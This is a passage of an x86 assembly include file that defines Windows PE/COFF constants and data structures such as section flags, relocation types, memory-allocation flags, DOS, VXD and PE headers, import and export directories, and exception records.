IMAGE_SCN_ALIGN_1024BYTES EQU 00B00000h ;
IMAGE_SCN_ALIGN_2048BYTES EQU 00C00000h ;
IMAGE_SCN_ALIGN_4096BYTES EQU 00D00000h ;
IMAGE_SCN_ALIGN_8192BYTES EQU 00E00000h ;
IMAGE_SCN_ALIGN_MASK EQU 00F00000h

IMAGE_SCN_LNK_NRELOC_OVFL EQU 01000000h ; Section contains extended relocations.


IMAGE_SCN_MEM_DISCARDABLE EQU 02000000h ; Section can be discarded.
IMAGE_SCN_MEM_NOT_CACHED EQU 04000000h ; Section is not cachable.
IMAGE_SCN_MEM_NOT_PAGED EQU 08000000h ; Section is not pageable.
IMAGE_SCN_MEM_SHARED EQU 10000000h ; Section is shareable.
IMAGE_SCN_MEM_EXECUTE EQU 20000000h ; Section is executable.
IMAGE_SCN_MEM_READ EQU 40000000h ; Section is readable.
IMAGE_SCN_MEM_WRITE EQU 80000000h ; Section is writeable.

IMAGE_SCN_SCALE_INDEX EQU 00000001h ; Tls index is scaled

IMAGE_SIZEOF_SYMBOL EQU 18

IMAGE_SYM_UNDEFINED EQU 0 ; Symbol is undefined or is common.


IMAGE_SYM_ABSOLUTE EQU -1 ; Symbol is an absolute value.
IMAGE_SYM_DEBUG EQU -2 ; Symbol is a special debug item.

IMAGE_SYM_TYPE_NULL EQU 0000h ; no type.


IMAGE_SYM_TYPE_VOID EQU 0001h ;
IMAGE_SYM_TYPE_CHAR EQU 0002h ; type character.
IMAGE_SYM_TYPE_SHORT EQU 0003h ; type short integer.
IMAGE_SYM_TYPE_INT EQU 0004h ;
IMAGE_SYM_TYPE_LONG EQU 0005h ;
IMAGE_SYM_TYPE_FLOAT EQU 0006h ;
IMAGE_SYM_TYPE_DOUBLE EQU 0007h ;
IMAGE_SYM_TYPE_STRUCT EQU 0008h ;
IMAGE_SYM_TYPE_UNION EQU 0009h ;
IMAGE_SYM_TYPE_ENUM EQU 000Ah ; enumeration.
IMAGE_SYM_TYPE_MOE EQU 000Bh ; member of enumeration.
IMAGE_SYM_TYPE_BYTE EQU 000Ch ;
IMAGE_SYM_TYPE_WORD EQU 000Dh ;
IMAGE_SYM_TYPE_UINT EQU 000Eh ;
IMAGE_SYM_TYPE_DWORD EQU 000Fh ;
IMAGE_SYM_TYPE_PCODE EQU 8000h ;

IMAGE_SYM_DTYPE_NULL EQU 0 ; no derived type.


IMAGE_SYM_DTYPE_POINTER EQU 1 ; pointer.
IMAGE_SYM_DTYPE_FUNCTION EQU 2 ; function.
IMAGE_SYM_DTYPE_ARRAY EQU 3 ; array.

IMAGE_SYM_CLASS_END_OF_FUNCTION EQU -1
IMAGE_SYM_CLASS_NULL EQU 0000h
IMAGE_SYM_CLASS_AUTOMATIC EQU 0001h
IMAGE_SYM_CLASS_EXTERNAL EQU 0002h
IMAGE_SYM_CLASS_STATIC EQU 0003h
IMAGE_SYM_CLASS_REGISTER EQU 0004h
IMAGE_SYM_CLASS_EXTERNAL_DEF EQU 0005h
IMAGE_SYM_CLASS_LABEL EQU 0006h
IMAGE_SYM_CLASS_UNDEFINED_LABEL EQU 0007h
IMAGE_SYM_CLASS_MEMBER_OF_STRUCT EQU 0008h
IMAGE_SYM_CLASS_ARGUMENT EQU 0009h
IMAGE_SYM_CLASS_STRUCT_TAG EQU 000Ah
IMAGE_SYM_CLASS_MEMBER_OF_UNION EQU 000Bh
IMAGE_SYM_CLASS_UNION_TAG EQU 000Ch
IMAGE_SYM_CLASS_TYPE_DEFINITION EQU 000Dh
IMAGE_SYM_CLASS_UNDEFINED_STATIC EQU 000Eh
IMAGE_SYM_CLASS_ENUM_TAG EQU 000Fh
IMAGE_SYM_CLASS_MEMBER_OF_ENUM EQU 0010h
IMAGE_SYM_CLASS_REGISTER_PARAM EQU 0011h
IMAGE_SYM_CLASS_BIT_FIELD EQU 0012h

IMAGE_SYM_CLASS_FAR_EXTERNAL EQU 0044h

IMAGE_SYM_CLASS_BLOCK EQU 0064h


IMAGE_SYM_CLASS_FUNCTION EQU 0065h
IMAGE_SYM_CLASS_END_OF_STRUCT EQU 0066h
IMAGE_SYM_CLASS_FILE EQU 0067h
IMAGE_SYM_CLASS_SECTION EQU 0068h
IMAGE_SYM_CLASS_WEAK_EXTERNAL EQU 0069h

N_BTMASK EQU 000Fh


N_TMASK EQU 0030h
N_TMASK1 EQU 00C0h
N_TMASK2 EQU 00F0h
N_BTSHFT EQU 4
N_TSHIFT EQU 2

IMAGE_SIZEOF_AUX_SYMBOL EQU 18

IMAGE_COMDAT_SELECT_NODUPLICATES EQU 1
IMAGE_COMDAT_SELECT_ANY EQU 2
IMAGE_COMDAT_SELECT_SAME_SIZE EQU 3
IMAGE_COMDAT_SELECT_EXACT_MATCH EQU 4
IMAGE_COMDAT_SELECT_ASSOCIATIVE EQU 5
IMAGE_COMDAT_SELECT_LARGEST EQU 6
IMAGE_COMDAT_SELECT_NEWEST EQU 7

IMAGE_WEAK_EXTERN_SEARCH_NOLIBRARY EQU 1
IMAGE_WEAK_EXTERN_SEARCH_LIBRARY EQU 2
IMAGE_WEAK_EXTERN_SEARCH_ALIAS EQU 3

IMAGE_SIZEOF_RELOCATION EQU 10

IMAGE_REL_I386_ABSOLUTE EQU 0000h ; Reference is absolute, no relocation is


necessary
IMAGE_REL_I386_DIR16 EQU 0001h ; Direct 16-bit reference to the symbols virtual
address
IMAGE_REL_I386_REL16 EQU 0002h ; PC-relative 16-bit reference to the symbols
virtual address
IMAGE_REL_I386_DIR32 EQU 0006h ; Direct 32-bit reference to the symbols virtual
address
IMAGE_REL_I386_DIR32NB EQU 0007h ; Direct 32-bit reference to the symbols virtual
address, base not included
IMAGE_REL_I386_SEG12 EQU 0009h ; Direct 16-bit reference to the
segment-selector bits of a 32-bit virtual address
IMAGE_REL_I386_SECTION EQU 000Ah
IMAGE_REL_I386_SECREL EQU 000Bh
IMAGE_REL_I386_REL32 EQU 0014h ; PC-relative 32-bit reference to the symbols
virtual address

IMAGE_SIZEOF_LINENUMBER EQU 6
IMAGE_SIZEOF_BASE_RELOCATION EQU 8

IMAGE_REL_BASED_ABSOLUTE EQU 0
IMAGE_REL_BASED_HIGH EQU 1
IMAGE_REL_BASED_LOW EQU 2
IMAGE_REL_BASED_HIGHLOW EQU 3
IMAGE_REL_BASED_HIGHADJ EQU 4
IMAGE_REL_BASED_MIPS_JMPADDR EQU 5
IMAGE_REL_BASED_SECTION EQU 6
IMAGE_REL_BASED_REL32 EQU 7

IMAGE_REL_BASED_MIPS_JMPADDR16 EQU 9
IMAGE_REL_BASED_IA64_IMM64 EQU 9
IMAGE_REL_BASED_DIR64 EQU 10
IMAGE_REL_BASED_HIGH3ADJ EQU 11

IMAGE_ORDINAL_FLAG EQU 80000000h

IMAGE_RESOURCE_NAME_IS_STRING EQU 80000000h


IMAGE_RESOURCE_DATA_IS_DIRECTORY EQU 80000000h

IMAGE_DEBUG_TYPE_UNKNOWN EQU 0
IMAGE_DEBUG_TYPE_COFF EQU 1
IMAGE_DEBUG_TYPE_CODEVIEW EQU 2
IMAGE_DEBUG_TYPE_FPO EQU 3
IMAGE_DEBUG_TYPE_MISC EQU 4
IMAGE_DEBUG_TYPE_EXCEPTION EQU 5
IMAGE_DEBUG_TYPE_FIXUP EQU 6
IMAGE_DEBUG_TYPE_OMAP_TO_SRC EQU 7
IMAGE_DEBUG_TYPE_OMAP_FROM_SRC EQU 8
IMAGE_DEBUG_TYPE_BORLAND EQU 9
IMAGE_DEBUG_TYPE_RESERVED10 EQU 10
IMAGE_DEBUG_MISC_EXENAME EQU 1

IMAGE_SEPARATE_DEBUG_SIGNATURE EQU 04944h

IMAGE_SEPARATE_DEBUG_FLAGS_MASK EQU 8000h


IMAGE_SEPARATE_DEBUG_MISMATCH EQU 8000h ; when DBG was updated, the

;ÄÄÄÄÄÄ´ MEMORY ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; G = GLOBAL
; L = LOCAL (NB. IN WIN95/98/NT GLOBAL=LOCAL)

GMEM_FIXED EQU 0000h


GMEM_MOVEABLE EQU 0002h
GMEM_NOCOMPACT EQU 0010h
GMEM_NODISCARD EQU 0020h
GMEM_ZEROINIT EQU 0040h
GMEM_MODIFY EQU 0080h
GMEM_DISCARDABLE EQU 0100h
GMEM_NOT_BANKED EQU 1000h
GMEM_SHARE EQU 2000h
GMEM_DDESHARE EQU 2000h
GMEM_NOTIFY EQU 4000h
GMEM_LOWER EQU GMEM_NOT_BANKED
GMEM_VALID_FLAGS EQU 7F72h
GMEM_INVALID_HANDLE EQU 8000h

GHND EQU (GMEM_MOVEABLE OR GMEM_ZEROINIT)


GPTR EQU (GMEM_FIXED OR GMEM_ZEROINIT)

GMEM_DISCARDED EQU 4000h


GMEM_LOCKCOUNT EQU 00FFh

LMEM_FIXED EQU 0000h


LMEM_MOVEABLE EQU 0002h
LMEM_NOCOMPACT EQU 0010h
LMEM_NODISCARD EQU 0020h
LMEM_ZEROINIT EQU 0040h
LMEM_MODIFY EQU 0080h
LMEM_DISCARDABLE EQU 0F00h
LMEM_VALID_FLAGS EQU 0F72h
LMEM_INVALID_HANDLE EQU 8000h

LHND EQU (LMEM_MOVEABLE OR LMEM_ZEROINIT)


LPTR EQU (LMEM_FIXED OR LMEM_ZEROINIT)

NONZEROLHND EQU LMEM_MOVEABLE


NONZEROLPTR EQU LMEM_FIXED

LMEM_DISCARDED EQU 4000h


LMEM_LOCKCOUNT EQU 00FFh

;ÍÍÍÍÍ͵ STRUCTURES ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

IMAGE_DOS_HEADER STRUC ; DOS .EXE header


MZ_magic DW ? ; Magic number
MZ_cblp DW ? ; Bytes on last page of file
MZ_cp DW ? ; Pages in file
MZ_crlc DW ? ; Relocations
MZ_cparhdr DW ? ; Size of header in paragraphs
MZ_minalloc DW ? ; Minimum extra paragraphs needed
MZ_maxalloc DW ? ; Maximum extra paragraphs needed
MZ_ss DW ? ; Initial (relative) SS value
MZ_sp DW ? ; Initial SP value
MZ_csum DW ? ; Checksum
MZ_ip DW ? ; Initial IP value
MZ_cs DW ? ; Initial (relative) CS value
MZ_lfarlc DW ? ; File address of relocation table
MZ_ovno DW ? ; Overlay number
MZ_res DW 4 DUP(?) ; Reserved words
MZ_oemid DW ? ; OEM identifier (for MZ_oeminfo)
MZ_oeminfo DW ? ; OEM information; MZ_oemid specific
MZ_res2 DW 10 DUP(?) ; Reserved words
MZ_lfanew DD ? ; File address of new exe header
IMAGE_DOS_HEADER ENDS ;

IMAGE_VXD_HEADER STRUC ; Windows VXD header


VXD_magic DW ? ; Magic number
VXD_border DB ? ; The byte ordering for the VXD
VXD_worder DB ? ; The word ordering for the VXD
VXD_level DD ? ; The EXE format level for now = 0
VXD_cpu DW ? ; The CPU type
VXD_os DW ? ; The OS type
VXD_ver DD ? ; Module version
VXD_mflags DD ? ; Module flags
VXD_mpages DD ? ; Module # pages
VXD_startobj DD ? ; Object # for instruction pointer
VXD_eip DD ? ; Extended instruction pointer
VXD_stackobj DD ? ; Object # for stack pointer
VXD_esp DD ? ; Extended stack pointer
VXD_pagesize DD ? ; VXD page size
VXD_lastpagesize DD ? ; Last page size in VXD
VXD_fixupsize DD ? ; Fixup section size
VXD_fixupsum DD ? ; Fixup section checksum
VXD_ldrsize DD ? ; Loader section size
VXD_ldrsum DD ? ; Loader section checksum
VXD_objtab DD ? ; Object table offset
VXD_objcnt DD ? ; Number of objects in module
VXD_objmap DD ? ; Object page map offset
VXD_itermap DD ? ; Object iterated data map offset
VXD_rsrctab DD ? ; Offset of Resource Table
VXD_rsrccnt DD ? ; Number of resource entries
VXD_restab DD ? ; Offset of resident name table
VXD_enttab DD ? ; Offset of Entry Table
VXD_dirtab DD ? ; Offset of Module Directive Table
VXD_dircnt DD ? ; Number of module directives
VXD_fpagetab DD ? ; Offset of Fixup Page Table
VXD_frectab DD ? ; Offset of Fixup Record Table
VXD_impmod DD ? ; Offset of Import Module Name Table
VXD_impmodcnt DD ? ; Number of entries in Import Module Name Table
VXD_impproc DD ? ; Offset of Import Procedure Name Table
VXD_pagesum DD ? ; Offset of Per-Page Checksum Table
VXD_datapage DD ? ; Offset of Enumerated Data Pages
VXD_preload DD ? ; Number of preload pages
VXD_nrestab DD ? ; Offset of Non-resident Names Table
VXD_cbnrestab DD ? ; Size of Non-resident Name Table
VXD_nressum DD ? ; Non-resident Name Table Checksum
VXD_autodata DD ? ; Object # for automatic data object
VXD_debuginfo DD ? ; Offset of the debugging information
VXD_debuglen DD ? ; The length of the debugging info. in bytes
VXD_instpreload DD ? ; Number of instance pages in preload section of VXD file
VXD_instdemand DD ? ; Number of instance pages in demand load section of VXD
file
VXD_heapsize DD ? ; Size of heap - for 16-bit apps
VXD_res3 DB 12 DUP(?); Reserved words
VXD_winresoff DD ? ;
VXD_winreslen DD ? ;
VXD_devid DW ? ; Device ID for VxD
VXD_ddkver DW ? ; DDK version for VxD
IMAGE_VXD_HEADER ENDS ;

;ÄÄÄÄÄÄÄÄÄÄ´ PORTABLE EXE HEADER STRUCTURES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_FILE_HEADER STRUC ; Portable Exe File


PE_Magic DD ? ;
Machine DW ? ; Machine type
NumberOfSections DW ? ; Number of sections
TimeDateStamp DD ? ; Date and Time
PointerToSymbolTable DD ? ; Pointer to Symbols
NumberOfSymbols DD ? ; Number of Symbols
SizeOfOptionalHeader DW ? ; Size of Optional Header
Characteristics DW ? ; File characteristics
IMAGE_FILE_HEADER ENDS ;

IMAGE_FILE_HEADER_SIZE EQU SIZE IMAGE_FILE_HEADER

IMAGE_DATA_DIRECTORY STRUC ; Image data directory


DD_VirtualAddress DD ? ; Virtual address
DD_Size DD ? ; Virtual size
IMAGE_DATA_DIRECTORY ENDS ;

IMAGE_DIRECTORY_ENTRIES STRUC ; All directories


DE_Export IMAGE_DATA_DIRECTORY ? ;
DE_Import IMAGE_DATA_DIRECTORY ? ;
DE_Resource IMAGE_DATA_DIRECTORY ? ;
DE_Exception IMAGE_DATA_DIRECTORY ? ;
DE_Security IMAGE_DATA_DIRECTORY ? ;
DE_BaseReloc IMAGE_DATA_DIRECTORY ? ;
DE_Debug IMAGE_DATA_DIRECTORY ? ;
DE_Copyright IMAGE_DATA_DIRECTORY ? ;
DE_GlobalPtr IMAGE_DATA_DIRECTORY ? ;
DE_TLS IMAGE_DATA_DIRECTORY ? ;
DE_LoadConfig IMAGE_DATA_DIRECTORY ? ;
DE_BoundImport IMAGE_DATA_DIRECTORY ? ;
DE_IAT IMAGE_DATA_DIRECTORY ? ;
IMAGE_DIRECTORY_ENTRIES ENDS ;

IMAGE_OPTIONAL_HEADER STRUC ; Optional Header


OH_Magic DW ? ; Magic word
OH_MajorLinkerVersion DB ? ; Major Linker version
OH_MinorLinkerVersion DB ? ; Minor Linker version
OH_SizeOfCode DD ? ; Size of code section
OH_SizeOfInitializedData DD ? ; Initialized Data
OH_SizeOfUninitializedData DD ? ; Uninitialized Data
OH_AddressOfEntryPoint DD BYTE PTR ? ; Initial EIP
OH_BaseOfCode DD BYTE PTR ? ; Code Virtual Address
OH_BaseOfData DD BYTE PTR ? ; Data Virtual Address
OH_ImageBase DD BYTE PTR ? ; Base of image
OH_SectionAlignment DD ? ; Section Alignment
OH_FileAlignment DD ? ; File Alignment
OH_MajorOperatingSystemVersion DW ? ; Major OS
OH_MinorOperatingSystemVersion DW ? ; Minor OS
OH_MajorImageVersion DW ? ; Major Image version
OH_MinorImageVersion DW ? ; Minor Image version
OH_MajorSubsystemVersion DW ? ; Major Subsys version
OH_MinorSubsystemVersion DW ? ; Minor Subsys version
OH_Win32VersionValue DD ? ; win32 version
OH_SizeOfImage DD ? ; Size of image
OH_SizeOfHeaders DD ? ; Size of Header
OH_CheckSum DD ? ; unused
OH_Subsystem DW ? ; Subsystem
OH_DllCharacteristics DW ? ; DLL characteristic
OH_SizeOfStackReserve DD ? ; Stack reserve
OH_SizeOfStackCommit DD ? ; Stack commit
OH_SizeOfHeapReserve DD ? ; Heap reserve
OH_SizeOfHeapCommit DD ? ; Heap commit
OH_LoaderFlags DD ? ; Loader flags
OH_NumberOfRvaAndSizes DD ? ; Number of directories
UNION ; directory entries
OH_DataDirectory IMAGE_DATA_DIRECTORY\
IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?)
OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ?
ENDS ;
ENDS ;

IMAGE_SECTION_HEADER STRUC ; Section hdr.


SH_Name DB IMAGE_SIZEOF_SHORT_NAME DUP(?) ; name
UNION ;
SH_PhysicalAddress DD BYTE PTR ? ; Physical address
SH_VirtualSize DD ? ; Virtual size
ENDS ;
SH_VirtualAddress DD BYTE PTR ? ; Virtual address
SH_SizeOfRawData DD ? ; Raw data size
SH_PointerToRawData DD BYTE PTR ? ; pointer to raw data
SH_PointerToRelocations DD BYTE PTR ? ; ...
SH_PointerToLinenumbers DD BYTE PTR ? ; ...... not really used
SH_NumberOfRelocations DW ? ; ....
SH_NumberOfLinenumbers DW ? ; ..
SH_Characteristics DD ? ; flags
IMAGE_SECTION_HEADER ENDS ;

; Relocation format.

IMAGE_RELOCATION_DATA RECORD { ; relocation data


RD_RelocType :4 ; type
RD_RelocOffset :12 } ; address

IMAGE_BASE_RELOCATION STRUC ; base relocation


BR_VirtualAddress DD ? ; Virtual address
BR_SizeOfBlock DD ? ; size of relocation block
BR_TypeOffset IMAGE_RELOCATION_DATA 1 DUP (?) ; relocation data
IMAGE_BASE_RELOCATION ENDS ;

IMAGE_LINENUMBER STRUC ; Line numbers


UNION ;
LN_SymbolTableIndex DD ? ; Sym. tbl. index of func. name if Linenr is 0.
LN_VirtualAddress DD ? ; Virtual address of line number.
ENDS ;
Linenumber DW ? ; Line number.
IMAGE_LINENUMBER ENDS ;

IMAGE_EXPORT_DIRECTORY STRUC ; Export Directory type


ED_Characteristics DD ? ; Flags
ED_TimeDateStamp DD ? ; Date / Time
ED_MajorVersion DW ? ; Major version
ED_MinorVersion DW ? ; Minor version
ED_Name DD BYTE PTR ? ; Ptr to name of exported DLL
UNION ;
ED_Base DD ? ; base
ED_BaseOrdinal DD ? ; base ordinal
ENDS ;
ED_NumberOfFunctions DD ? ; number of exported funcs.
UNION ;
ED_NumberOfNames DD ? ; number of exported names
ED_NumberOfOrdinals DD ? ; number of exported ordinals
ENDS ;
ED_AddressOfFunctions DD DWORD PTR ? ; Ptr to array of function addresses
ED_AddressOfNames DD DWORD PTR ? ; Ptr to array of (function) name addresses
UNION ;
ED_AddressOfNameOrdinals DD WORD PTR ? ; Ptr to array of name ordinals
ED_AddressOfOrdinals DD WORD PTR ? ; Ptr to array of ordinals
ENDS ;
IMAGE_EXPORT_DIRECTORY ENDS ;

IMAGE_IMPORT_BY_NAME STRUC ; Import by name data type


IBN_Hint DW 0; ; Hint entry
IBN_Name DB 1 DUP (?) ; name
IMAGE_IMPORT_BY_NAME ENDS ;

IMAGE_THUNK_DATA STRUC ; Thunk data


UNION ;
TD_AddressOfData DD IMAGE_IMPORT_BY_NAME PTR ? ; Ptr to IMAGE_IMPORT_BY_NAME structure
TD_Ordinal DD ? ; Ordinal ORed with IMAGE_ORDINAL_FLAG
TD_Function DD BYTE PTR ? ; Ptr to function (i.e. Function address
after program load)
TD_ForwarderString DD BYTE PTR ? ; Ptr to a forwarded API function.
ENDS ;
IMAGE_THUNK_DATA ENDS ;

COMMENT $
; Thread Local Storage

IMAGE_TLS_DIRECTORY32 STRUC
TLS_StartAddressOfRawData DD BYTE PTR ?
TLS_EndAddressOfRawData DD BYTE PTR ?
TLS_AddressOfIndex DD BYTE PTR ?
TLS_AddressOfCallBacks DD IMAGE_TLS_CALLBACK PTR ?
TLS_SizeOfZeroFill DD 0
TLS_Characteristics DD 0
ENDS
$

IMAGE_IMPORT_DESCRIPTOR STRUC ; Import descryptor


UNION ;
ID_Characteristics DD ? ; 0 for last null import descriptor
ID_OriginalFirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to original unbound IAT
ENDS ;
ID_TimeDateStamp DD ? ; 0 if not bound,
; -1 if bound, and real date\time stamp
; in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
; O.W. date/time stamp of DLL bound to (Old BIND)
ID_ForwarderChain DD ? ; -1 if no forwarders
ID_Name DD BYTE PTR ? ; RVA to name of imported DLL
ID_FirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to IAT (if bound this IAT has
actual addresses)
IMAGE_IMPORT_DESCRIPTOR ENDS

IMAGE_IMPORT_DESCRIPTOR_SIZE EQU SIZE IMAGE_IMPORT_DESCRIPTOR

IMAGE_BOUND_IMPORT_DESCRIPTOR STRUC ;
BID_TimeDateStamp DD ? ;
BID_OffsetModuleName DW ? ;
BID_NumberOfModuleForwarderRefs DW ? ;
IMAGE_BOUND_IMPORT_DESCRIPTOR ENDS ;

IMAGE_BOUND_FORWARDER_REF STRUC ;
BFR_TimeDateStamp DD ? ;
BFR_OffsetModuleName DW ? ;
BFR_Reserved DW ? ;
IMAGE_BOUND_FORWARDER_REF ENDS ;

IMAGE_RESOURCE_DIRECTORY STRUC ;
RD_Characteristics DD ? ;
RD_TimeDateStamp DD ? ;
RD_MajorVersion DW ? ;
RD_MinorVersion DW ? ;
RD_NumberOfNamedEntries DW ? ;
RD_NumberOfIdEntries DW ? ;
IMAGE_RESOURCE_DIRECTORY ENDS ;
IMAGE_RESOURCE_DIRECTORY_SIZE = SIZE IMAGE_RESOURCE_DIRECTORY

IMAGE_RESOURCE_DIRECTORY_ENTRY STRUC ;
UNION ;
STRUC ;
RDE_Offset RECORD { ;
RDE_NameOffset:31 ;
RDE_NameIsString:1 } ;
ENDS ;
RDE_Name DD ? ;
RDE_Id DW ? ;
ENDS ;
UNION ;
RDE_OffsetToData DD ? ;
STRUC ;
RDE_Directory RECORD { ;
RDE_OffsetToDirectory:31 ;
RDE_DataIsDirectory:1 } ;
ENDS ;
ENDS ;
IMAGE_RESOURCE_DIRECTORY_ENTRY ENDS ;

IMAGE_RESOURCE_DIRECTORY_STRING STRUC ;
RDS_Length DW ? ;
RDS_NameString DB 1 DUP(?) ;
IMAGE_RESOURCE_DIRECTORY_STRING ENDS ;

IMAGE_RESOURCE_DIR_STRING_U STRUC ;
RDSU_Length DW ? ;
RDSU_NameString DB 1 DUP (?) ;
ENDS ;

IMAGE_RESOURCE_DATA_ENTRY STRUC ;
REDE_OffsetToData DD ? ;
REDE_Size DD ? ;
REDE_CodePage DD ? ;
REDE_Reserved DD ? ;
IMAGE_RESOURCE_DATA_ENTRY ENDS ;

IMAGE_DEBUG_DIRECTORY STRUC ;
DD_Characteristics DD ? ;
DD_TimeDateStamp DD ? ;
DD_MajorVersion DW ? ;
DD_MinorVersion DW ? ;
DD_Type DD ? ;
DD_SizeOfData DD ? ;
DD_AddressOfRawData DD BYTE PTR ? ;
DD_PointerToRawData DD BYTE PTR ? ;
IMAGE_DEBUG_DIRECTORY ENDS ;

IMAGE_COFF_SYMBOLS_HEADER STRUC ;
CSH_NumberOfSymbols DD ? ;
CSH_LvaToFirstSymbol DD BYTE PTR ? ;
CSH_NumberOfLinenumbers DD ? ;
CSH_LvaToFirstLinenumber DD BYTE PTR ? ;
CSH_RvaToFirstByteOfCode DD BYTE PTR ? ;
CSH_RvaToLastByteOfCode DD BYTE PTR ? ;
CSH_RvaToFirstByteOfData DD BYTE PTR ? ;
CSH_RvaToLastByteOfData DD BYTE PTR ? ;
IMAGE_COFF_SYMBOLS_HEADER ENDS ;

IMAGE_DEBUG_MISC STRUC ;
DM_DataType DD ? ; type of misc data, see defines
DM_Length DD ? ; total length of record, rounded to four
DM_Unicode DB ? ; TRUE if data is unicode string
DM_Reserved DB 3 DUP(?) ;
DM_Data DB 1 DUP(?) ; Actual data
IMAGE_DEBUG_MISC ENDS ;

IMAGE_SEPARATE_DEBUG_HEADER STRUC ;
SDH_Signature DW ? ;
SDH_Flags DW ? ;
SDH_Machine DW ? ;
SDH_Characteristics DW ? ;
SDH_TimeDateStamp DD ? ;
SDH_CheckSum DD ? ;
SDH_ImageBase DD BYTE PTR ? ;
SDH_SizeOfImage DD ? ;
SDH_NumberOfSections DD ? ;
SDH_ExportedNamesSize DD ? ;
SDH_DebugDirectorySize DD ? ;
SDH_SectionAlignment DD ? ;
SDH_Reserved DD 2 DUP (?) ;
IMAGE_SEPARATE_DEBUG_HEADER ENDS ;

IMPORT_OBJECT_HEADER STRUC ;
OH_Sig1 DW ? ; Must be IMAGE_FILE_MACHINE_UNKNOWN
OH_Sig2 DW ? ; Must be IMPORT_OBJECT_HDR_SIG2.
OH_Version DW ? ;
OH_Machine DW ? ;
OH_TimeDateStamp DD ? ; Time/date stamp
OH_SizeOfData DD ? ; particularly useful for incremental links
UNION ;
OH_Ordinal DW ? ; if grf & IMPORT_OBJECT_ORDINAL
OH_Hint DW ? ;
ENDS ;
OH_ImportType RECORD { ;
OH_Type : 2 ; IMPORT_TYPE
OH_NameType : 3 ; IMPORT_NAME_TYPE
OH_Reserved : 11 } ; Reserved. Must be zero.
IMPORT_OBJECT_HEADER ENDS ;

;ÄÄÄÄÄÄÄÄÄÄ´ CONTEXT STRUCTURES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

FLOATING_SAVE_AREA STRUC
ControlWord DD ?
StatusWord DD ?
TagWord DD ?
ErrorOffset DD ?
ErrorSelector DD ?
DataOffset DD ?
DataSelector DD ?
RegisterArea DB SIZE_OF_80387_REGISTERS DUP(?)
Cr0NpxState DD ?
FLOATING_SAVE_AREA ENDS

CONTEXT STRUC
CONTEXT_ContextFlags DD ?
CONTEXT_Dr0 DD ?
CONTEXT_Dr1 DD ?
CONTEXT_Dr2 DD ?
CONTEXT_Dr3 DD ?
CONTEXT_Dr6 DD ?
CONTEXT_Dr7 DD ?

CONTEXT_FloatSave FLOATING_SAVE_AREA ?

CONTEXT_SegGs DD ?
CONTEXT_SegFs DD ?
CONTEXT_SegEs DD ?
CONTEXT_SegDs DD ?

CONTEXT_Edi DD ?
CONTEXT_Esi DD ?
CONTEXT_Ebx DD ?
CONTEXT_Edx DD ?
CONTEXT_Ecx DD ?
CONTEXT_Eax DD ?

CONTEXT_Ebp DD ?
CONTEXT_Eip DD ?
CONTEXT_SegCs DD ?
CONTEXT_EFlags DD ?
CONTEXT_Esp DD ?
CONTEXT_SegSs DD ?

CONTEXT_ExtendedRegisters DB MAXIMUM_SUPPORTED_EXTENSION DUP(?)


CONTEXT ENDS

;ÄÄÄÄÄÄÄÄÄÄ´ SEH EXCEPTION HANDLER STRUCTURES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

EXCEPTION_RECORD STRUC
ER_ExceptionCode DD ?
ER_ExceptionFlags DD ?
ER_ExceptionRecord DD EXCEPTION_RECORD PTR ?
ER_ExceptionAddress DD BYTE PTR ?
ER_NumberParameters DD ?
ER_ExceptionInformation DD EXCEPTION_MAXIMUM_PARAMETERS DUP(?)
EXCEPTION_RECORD ENDS

EXCEPTION_POINTERS STRUC ;
EP_ExceptionRecord DD EXCEPTION_RECORD PTR ? ; pointer to exception rec
EP_ContextRecord DD CONTEXT PTR ? ; pointer to a context
EXCEPTION_POINTERS ENDS ;

;ÄÄÄÄÄÄÄÄÄÄ´ MISCLANCELLOUS STRUCTURES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

MEMORY_BASIC_INFORMATION STRUC ;
MBI_BaseAddress DD BYTE PTR ? ;
MBI_AllocationBase DD BYTE PTR ? ;
MBI_AllocationProtect DD ? ;
MBI_RegionSize DD ? ;
MBI_State DD ? ;
MBI_Protect DD ? ;
MBI_Type DD ? ;
MEMORY_BASIC_INFORMATION ENDS ;

FILE_NOTIFY_INFORMATION STRUC ;
FNI_NextEntryOffset DD ? ;
FNI_Action DD ? ;
FNI_FileNameLength DD ? ;
FNI_FileName DB 1 DUP(?) ;
FILE_NOTIFY_INFORMATION ENDS ;

MESSAGE_RESOURCE_ENTRY STRUC ;
MRE_Length DW ? ;
MRE_Flags DW ? ;
MRE_Text DB 1 DUP(?) ;
MESSAGE_RESOURCE_ENTRY ENDS ;

MESSAGE_RESOURCE_BLOCK STRUC ;
MRB_LowId DD ? ;
MRB_HighId DD ? ;
MRB_OffsetToEntries DD ? ;
MESSAGE_RESOURCE_BLOCK ENDS ;

MESSAGE_RESOURCE_DATA STRUC ;
MRD_NumberOfBlocks DD ? ;
MRD_Blocks MESSAGE_RESOURCE_BLOCK 1 DUP(?) ;
MESSAGE_RESOURCE_DATA ENDS ;

EVENTLOGRECORD STRUC
ELR_Length DD ? ; Length of full record
ELR_Reserved DD ? ; Used by the service
ELR_RecordNumber DD ? ; Absolute record number
ELR_TimeGenerated DD ? ; Seconds since 1-1-1970
ELR_TimeWritten DD ? ; Seconds since 1-1-1970
ELR_EventID DD ? ;
ELR_EventType DW ? ;
ELR_NumStrings DW ? ;
